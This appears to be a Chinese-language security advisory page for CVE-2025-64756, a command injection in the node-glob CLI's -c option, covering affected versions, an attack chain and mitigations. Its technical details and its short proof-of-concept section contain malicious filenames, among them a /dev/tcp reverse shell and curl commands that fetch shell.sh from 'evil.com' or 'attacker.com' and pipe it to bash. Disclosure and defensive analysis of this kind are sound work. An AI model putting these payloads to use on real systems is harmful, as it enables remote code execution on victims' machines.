IPBUF安全漏洞报告
English
CVE-2025-64756 CVSS 7.5 高危

CVE-2025-64756 node-glob命令注入漏洞

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2025-64756
漏洞类型
命令注入
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
node-glob (npm包)

相关标签

命令注入node-globnpmCVE-2025-64756CLI工具shell注入任意代码执行高危漏洞

漏洞概述

CVE-2025-64756是node-glob npm包中的一个高危命令注入漏洞。node-glob是一个常用的Node.js文件匹配工具,用于根据glob模式查找文件系统中的文件。该漏洞影响10.2.0至10.4.x版本和11.0.0至11.0.x版本。攻击者可以通过创建包含shell元字符的恶意文件名,当目标用户使用`glob -c <command> <patterns>`命令时,触发命令注入攻击,实现任意代码执行。CVSS评分7.5,属于高危漏洞。由于node-glob广泛应用于CI/CD流程和自动化脚本中,攻击者可能通过供应链攻击或诱骗用户处理恶意文件来获取目标系统的控制权。

技术细节

该漏洞源于node-glob的CLI实现中,当使用`-c/--cmd`选项时,匹配到的文件名会被传递给shell执行。具体问题在于代码使用了`child_process.spawn`或类似方法,并设置了`shell: true`选项。这导致文件名中的shell元字符(如反引号`` ` ``、`$()`、管道符`|`等)会被shell解释执行。攻击者只需在文件系统中植入一个恶意命名的文件(如`$(whoami).txt`或`` `id` ``),当受害者在包含该文件的目录执行`glob -c whoami *.txt`时,shell会先解析文件名中的命令,导致命令注入。例如,文件名`$(curl evil.com/shell.sh|bash)`在glob处理时会触发远程代码执行。修复方案是升级到10.5.0或11.1.0版本,或避免在文件名可能不可控的场景下使用`-c`选项。

攻击链分析

STEP 1
步骤1
攻击者在目标系统或共享文件系统中创建一个文件名包含shell元字符的文件,如`$(whoami)>pwned.txt`
STEP 2
步骤2
受害者使用`glob -c <command> <patterns>`命令处理包含恶意文件的目录
STEP 3
步骤3
glob匹配到恶意文件名后,将其传递给shell(shell: true),shell解析并执行文件名中的嵌入命令
STEP 4
步骤4
攻击者成功在受害者权限下执行任意系统命令,可能获取敏感数据或进一步渗透系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2025-64756: node-glob command injection # Create a file with malicious name containing shell metacharacters touch '$(whoami)>pwned.txt' # When victim runs: glob -c whoami *.txt # The shell will interpret $(whoami) and execute the command # Result: whoami output is written to pwned.txt # Alternative PoC using backticks: touch '`id`>pwned.txt' # More dangerous example - reverse shell: touch '$(bash -i >& /dev/tcp/attacker/port 0>&1)' # Or using curl to download and execute payload: touch '$(curl http://attacker.com/shell.sh|bash)'

影响范围

node-glob >= 10.2.0 且 < 10.5.0
node-glob >= 11.0.0 且 < 11.1.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 避免使用glob的`-c`选项,改用其他安全的文件处理方式;2) 对所有文件进行预扫描,移除或重命名包含shell元字符的文件;3) 在受限环境中运行文件处理任务,限制命令注入的影响范围;4) 使用AppArmor或SELinux等强制访问控制工具限制进程权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表